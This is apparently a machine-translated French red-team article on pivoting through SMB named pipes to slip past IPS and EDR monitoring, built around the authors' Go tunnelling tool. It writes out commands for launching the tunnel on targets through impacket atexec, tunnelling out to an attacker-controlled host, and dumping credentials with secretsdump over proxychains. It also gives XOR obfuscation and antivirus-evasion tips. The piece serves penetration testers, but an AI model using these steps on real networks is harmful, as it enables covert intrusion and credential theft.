Utilisation de tuyaux pour pivoter

Ce n'est un secret pour personne que l'IPS d'entreprise devient de plus en plus intelligent. Maintenant, vous ne surprendrez personne avec IPS avec SSL-mitm sur le périmètre du réseau ou même à l'intérieur du réseau d'entreprise entre les segments. En même temps, en plus des IPS bien connus, diverses solutions EDR ont commencé à apparaître et à se répandre, qui sont déjà directement sur les hôtes surveillant les connexions établies. À cet égard, un spécialiste RedTeam décent devient de plus en plus difficile de se cacher du look omniprésent de BlueTeam chaque jour. Nous devons devenir plus inventifs dans mon travail acharné.

L'une des solutions pour déguiser nos «actions destructrices plus utiles» (c) à l'intérieur des réseaux d'entreprise peut être d'utiliser les protocoles SMB ou RDP. Vous pouvez vous cacher à l'intérieur et vous déguiser en trafic légitime. Ce n'est pas particulièrement nouveau et la technique de masquage à l'intérieur de SMB est utilisée depuis l'époque des célèbres sociétés APT Duqu et Sauron. Là, les gars ont également utilisé le protocole SMB pour transférer les commandes de contrôle à leurs agents avec beaucoup de succès. Après cela, la technique a été adoptée par les développeurs de Metasploit et Cobalt Strike.

Dans cet article, nous examinerons les options d'utilisation du protocole SMB pour le pivotement, mais nous laisserons RDP pour plus tard.

Nous utilisons SMB


Voyons donc ce qu'il y a de si génial à utiliser SMB pour le pivotement.

Premièrement, il est répandu. SMB est presque le protocole Microsoft natif, et dans les réseaux d'entreprise avec Windows, il est utilisé partout et beaucoup où. Ici vous et DFS, et diverses mises à jour, et imprimantes et beaucoup, beaucoup de tout. Très confortable.

Certes, en dehors du réseau d'entreprise, et plus encore de l'extérieur, à l'intérieur du 445e port TCP, ils ont souvent commencé à se fermer sur des pare-feu. La raison en est les cas fréquents de phishing et de relais utilisant des liens tels que file: // xxxx, \\ xxxx \, etc. Et bien sûr, n'oublions pas WannaCry, qui a forcé de nombreuses organisations à fermer le port.

Deuxièmement, dans les systèmes modernes, tels que Win10 / Win2016 et supérieur, les informations transmises à l'intérieur du protocole SMB, plus précisément, SMB3 sont déjà cryptées par défaut. C'est-à-dire en transférant votre split préféré à l'intérieur de SMB, vous pouvez être sûr que IPS d'entreprise ne le remarquera pas (merci Micosoft pour cela!).

Troisièmement, le protocole SMB fournit un mécanisme pratique pour les soi-disant canaux (canaux SMB) - ce sont en fait les mêmes canaux nommés qui ne sont disponibles que sur le réseau. Par exemple, une ligne comme \\ 192.168.1.10 \ pipe \ atsvc est un canal de service de tâches planifiées. Atexec du framework impacket fonctionne simplement avec lui pour créer des tâches pour exécuter des commandes dans Windows.

Vous pouvez afficher tous les canaux ouverts sur votre système à l'aide de l'utilitaire de Sysinternals: pipelist.exe (pipelist64.exe) ou via le même PowerShell:

[System.IO.Directory]::GetFiles("\\.\\pipe\\") 

Immersion


Voyons donc comment utiliser les tuyaux SMB pour nos «actions destructrices plus utiles».

Nous voulons utiliser des tuyaux pour une communication secrète avec notre shell d'équipe.
L'essentiel est que nous exécutons notre agent ou shell sur la machine cible, et nous communiquons avec lui via le protocole SMB.

Par exemple, dans le métasplit, il existe des codes de paie spéciaux pour travailler avec des tuyaux:
meterpreter_bind_named_pipe
bind_named_pipe

Avec l'aide d'eux, vous pouvez facilement "accrocher" votre écouteur (qu'il s'agisse de meterpreter ou d'un shell de commande ordinaire) sur un canal nommé, le cachant ainsi aux yeux vigilants de l'administrateur de la sécurité. Mais, bien sûr, nous savons tous qu'il est complètement dangereux d'utiliser des peylods msf pendant le pentest / redtime de combat et les vrais pirates informatiques utilisent des outils personnalisés, comme ils disent - loin du péché ...

Une alternative à msf comme shell de commande peut être notre bon vieux assistant - powershell. Il existe de nombreux exemples sur le réseau concernant l'utilisation de canaux comme canal de communication avec C2.

L'un d'eux est l'utilitaire Invoke-PipeShell de l'équipe Threatexpress. Il fonctionne en mode serveur-client et crypte tout son trafic avec une clé AES 256 bits.

Sur le serveur, nous exécutons:

 Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30 

Sur le client, exécutez:

 Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000 

Naturellement, notre client doit être autorisé sur le serveur, alors n'oubliez pas d'autoriser d'abord:

 net use \\targetserver.domain.com\IPC$ /user:admin Password1 

Après une connexion réussie, nous obtenons une console Powershell complète. Tous les détails sur l'utilisation de cet outil, ainsi que le code lui-même, peuvent être glanés.

Bon. Cela semble compréhensible. Voyons maintenant comment nous pouvons pivoter à l'intérieur du réseau cible via des canaux SMB. Par exemple, si seul le 445e port est ouvert sur le périmètre du réseau (et cela arrive ...) ou si les connexions à l'extérieur de notre tunnel via SSL sont impitoyablement bloquées par un pare-feu d'entreprise, mais pour une raison quelconque, elles ont oublié de fermer le protocole SMB. Dans ce cas, nous devons transmettre un tunnel TCP à part entière à l'intérieur du canal afin de pouvoir travailler avec les ressources internes du réseau cible. La première chose qui me vient à l'esprit est le même mètre mètre avec la mise en scène via des tuyaux. Il sait parfaitement le faire. Nous ne considérerons pas les détails ici, car tout est standard ici et selon le manuel. Les personnes intéressées peuvent lire les instructions pour metasploit, ou voir la version courte ici .

Nous avons déjà mentionné les inconvénients du mètre-mètre ci-dessus. Par conséquent, voyons ce que nous avons d'autre pour pivoter à travers les tuyaux ...

Après une recherche rapide sur le thème du tunneling à travers des tuyaux, en plus de mètre-mètre, seuls Cobalt Strike et le développement de DxFlatLine ont été trouvés .

La première option, d'une part, est payée, et d'autre part - elle présente tous les mêmes inconvénients que le mètre-mètre.

La deuxième option est faite en PoC, elle ne fonctionne qu'en mode monothread et vous permet de tunneler une seule connexion - c'est, comme vous pouvez le deviner, ce n'est pas non plus une option pour une utilisation constante dans la pratique.

Et que faire?


Après avoir réfléchi un peu au problème, nous avons décidé ... Pourquoi ne pas adapter notre précédent développement Rsockstun, dont nous avons déjà parlé , pour travailler avec des tuyaux? De plus, l'architecture d'application vous permet de le faire en toute simplicité. Au lieu de se connecter via TCP, nous utiliserons une connexion via SMB. Il simplifie même le travail de l'utilitaire: pas besoin de se soucier du SSL, de la connexion via un serveur proxy, etc. Nous ne laisserons que l'option avec l'autorisation initiale du client sur le serveur avec un mot de passe, car les tuyaux sont une entité publique et, par conséquent, non seulement notre tunnel, mais aussi d'autres logiciels, y compris à distance, peuvent y lire et y écrire.

Les droits d'accès aux canaux, ainsi que l'analyse et l'énumération des canaux sur une machine distante, sont un sujet de discussion distinct. Ceux qui le souhaitent peuvent l'étudier en utilisant l'exemple de métasploit des modules scanner / smb / pipe_auditor et scanner / smb / pipe_rpc_auditor.

Pour travailler avec des pipes de Go, nous utiliserons la bibliothèque npipe

Il est fabriqué depuis longtemps et a fait ses preuves dans divers projets. Le travail à travers cette bibliothèque n'est pas fondamentalement différent de celui à travers les mécanismes Net standard: les mêmes fonctions sont net.Dial, net.Listen, net.Accept.

Pour multiplexer plusieurs connexions dans un même tube, comme la dernière fois, nous utiliserons le multiplexeur Yamux et socks5 - un serveur proxy. Vous pouvez en savoir plus sur la nécessité du multiplexage à l'intérieur de TCP et yamux lui-même dans notre dernier article sur rsockstun.

Une autre différence et raffinement de la version avec tuyaux, par rapport à rsockstun, est que maintenant yamux-server et, en conséquence, socks5-proxy peuvent être lancés aux deux extrémités du tunnel (mais pas simultanément, mais soit là ou là). Ceci est fait pour que le tunnel puisse être construit à la fois en externe dans le réseau cible, et vice versa ...

Et maintenant, comme d'habitude - les nuances


Figure 1 - Vider le trafic d'opération de tunnel sur Windows 7



La figure 1 montre à quoi ressemblera le travail de notre tunnel si au moins une de ses extrémités fonctionne sous Windows 7. Ici, la zone rouge est l'étape d'autorisation, le vert est l'ouverture du tuyau et le bleu est la transmission directe d'informations. Il est également nécessaire de faire attention au fait que le protocole SMBv2 est utilisé. En fait, cela signifie que tout ce que nous transmettons à l'intérieur du tunnel sera visible en texte clair:



Contrairement à Win7, Windows10 utilise le cryptage des données à l'intérieur du protocole SMB3:



Comme nous le voyons, ni le nom du tuyau ni les données à l'intérieur du tunnel ne sont transmis en texte clair.

Vous pouvez vérifier si le chiffrement fonctionne sur votre système SMB3 à l'aide de la cmdlet PowerShell standard Get-SmbServerConfiguration



Et avec le cryptage désactivé, il est tout aussi facile de l'activer:



Cependant, nous ne pouvons pas toujours être sûrs que le cryptage dans SMB sera activé par défaut, et l'activer sur un serveur ou un réseau étranger n'est pas une bonne idée ...

À cet égard, nous devons fournir un mode dans notre tunnel qui permettrait de chiffrer le trafic à l'intérieur de notre tunnel. De plus, nous n'avons pas pour tâche de chiffrer de manière fiable afin qu'ils ne puissent que déchiffrer sur le supercalculateur NSA, mais simplement cacher les signatures de trafic à l'intérieur du tunnel à IPS. À cet égard, nous utiliserons un simple XOR avec une petite clé pour masquer notre trafic, ce qui nous permettra d'économiser les ressources du processeur et n'affectera pratiquement pas la vitesse de transmission.

Afin de ne pas créer de couche réseau supplémentaire responsable du chiffrement du trafic, nous ajouterons la fonctionnalité directement au module yamux chargé du transfert de la charge utile (module stream.go, et fonctions de lecture et d'écriture):

 func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} } 

Après avoir effectué les modifications, notre demande GET n'est pas aussi clairement visible dans le trafic:



Un, deux, trois ... Commencez!


Au total, les options de lancement et, en conséquence, l'application de notre tunnel seront les suivantes:

Option 1. Connectez-vous de l'extérieur au réseau et transférez la connexion Socks5. Par exemple, lorsque le 445e port sort et que nous connaissons les prêts pour la connexion:

Sur le serveur interne, via la connexion SMB et l'utilitaire impacket, démarrez la partie serveur rsockpipe:

 ./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234" 

Sur la machine Windows externe (contrôlée par nous), exécutez la partie client de rsockspipe et après avoir établi la connexion, utilisez-la comme proxy socks5:

 rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10 

Option 2. Connexion de l'intérieur vers l'extérieur par le protocole SMB. Lorsque les connexions sortantes sont strictement surveillées par tous les protocoles Web, et pour une raison quelconque, les administrateurs ont oublié SMB ...

Sur une machine Windows externe (contrôlée par nous) (ip: YYYY), exécutez la partie client de rsockspipe et attendez que les clients se connectent:

 rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234 

Sur le serveur à l'intérieur du réseau cible, exécutez la partie client (également via impacket):

 ./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234" 

Après une connexion réussie, nous pouvons utiliser notre serveur comme soscks5:

 proxychains secretsdump.py admin:Passw0rd@yy1.10 

Il y a un point ici, en particulier pour la deuxième option. Rappelez-vous, nous avons dit que pour une connexion réussie au tuyau, nous devons être autorisés côté serveur, c'est-à-dire Avant de commencer le tunnel, nous devons passer par une autorisation. Vous pouvez le faire de cette façon:

 net use \\yyyy\ipc$ /user:<usrname> <Password1> 

Donc ... Dans le deuxième cas d'utilisation, la commande net use est exécutée sur la machine cible. Et cela signifie que sur la machine cible (dans la mémoire du processus lsass) il reste des crédits de votre machine Windows. Et s'ils sont administrateurs (et en règle générale, tous les pirates débutants travaillent depuis l'administrateur ...), cela peut conduire à des "salutations" de BlueTeam ... En général, vous pensez quand vous faites quelque chose ...

Au lieu d'une conclusion


En général, le tunnel s'est avéré assez bon ... L'essentiel est qu'il est prêt pour une utilisation active.
Le code source, ainsi que les binaires déjà compilés pour x86 et x64, sont situés sur notre git

Et un petit ajout. Récemment, ils ont commencé à remarquer que le logiciel Golang compilé en mode Win GUI (compilation en mode: go build -ldflags = "- H windowsgui") est devenu très utilisé par certaines solutions antivirus (KAV, SEP14). Il s'agit déjà du ridicule - «Hello World» compilé en mode GUI est détecté comme un malware. Apparemment, cela est dû au fait que Golang est néanmoins devenu un outil préféré du malware. Notre conseil est donc de compiler le projet en mode console standard, et avec une fenêtre cmf noire un vrai hacker sait comment le gérer (par exemple, le même paquetage par exemple).

PS «Actions destructrices plus utiles» est le libellé de D. Samartsev, directeur de BiZone. Dans ce cas, il décrit le plus fidèlement l'essence du travail des spécialistes de RedTeam.

Source: https://habr.com/ru/post/fr460659/


All Articles